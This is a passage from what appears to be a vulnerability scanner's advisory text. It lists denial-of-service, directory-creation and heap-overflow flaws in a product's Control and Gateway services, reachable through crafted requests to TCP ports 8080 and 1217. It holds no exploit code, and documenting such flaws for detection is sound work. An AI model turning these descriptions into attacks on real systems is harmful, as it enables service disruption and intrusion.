  Control service when processing HTTP POST requests can be exploited to deny
  processing further requests via a specially crafted 'Content-Length' header
  sent to TCP port 8080

  - A NULL pointer dereference error in the CmbWebserver.dll module of the
  Control service when processing web requests can be exploited to deny
  processing further requests by sending a request with an unknown HTTP
  method to TCP port 8080

  - An error in the Control service when processing web requests containing a
  non existent directory can be exploited to create arbitrary directories
  within the webroot via requests sent to TCP port 8080

  - An integer overflow error in the Gateway service when processing certain
  requests can be exploited to cause a heap-based buffer overflow via a
  specially crafted packet sent to TCP port 1217");
